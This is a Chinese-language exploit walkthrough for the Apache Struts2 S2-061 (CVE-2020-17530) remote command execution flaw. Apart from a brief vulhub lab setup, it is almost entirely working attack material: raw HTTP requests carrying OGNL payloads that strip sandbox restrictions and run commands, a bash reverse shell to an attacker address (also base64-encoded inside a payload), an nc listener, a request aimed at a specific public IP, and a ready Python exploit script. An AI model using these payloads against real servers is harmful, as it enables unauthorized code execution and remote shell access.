CVE-2020-17530Struts2(S2-061)远程命令执行

https://github.com/vulhub/vulhub

cd vulhub/struts2/s2-061/docker-compose up -d

http://xxx.xxx.xxx.xxx?id=%25%7b+%27再见%27+%2b+(2000+%2b+20).toString()%7d

POST /index.action HTTP/1.1Host: xxx.xxx.xxx.xxx:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

POST /index.action HTTP/1.1Host: xxx.xxx.xxx.xxx:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1361
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1

编码网站http://www.jackson-t.ca/runtime-exec-payloads.htmlbash编码之后的内容bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMTU4LjE0Ny8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

nc -lvp 1234

POST /index.action HTTP/1.1Host: 116.62.106.123:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1365
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMTU4LjE0Ny8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

# encoding=utf-8import requestsimport sysfrom lxml import etree
def exp(url,cmd):    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+cmd+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"    tturl=url+"/?id="+payload    r=requests.get(tturl)    page=r.text#   etree=html.etree    page=etree.HTML(page)    data = page.xpath('//a[@id]/@id')    print(data[0])

if __name__=='__main__':    print('+------------------------------------------------------------+')    print('+ EXP: python struts2-061-poc.py http://8.8.8.8:8080 id      +')    print('+ VER: Struts 2.0.0-2.5.25                                   +')    print('+------------------------------------------------------------+')    print('+ S2-061 RCE && CVE-2020-17530                               +')    print('+------------------------------------------------------------+')    if len(sys.argv)!=3:        print("[+]ussage: http://ip:port command")        print("[+]============================================================")        sys.exit()    url=sys.argv[1]    cmd=sys.argv[2]exp(url,cmd)

python2 s2-061 http://xxx.xxx.xxx.xxx cmd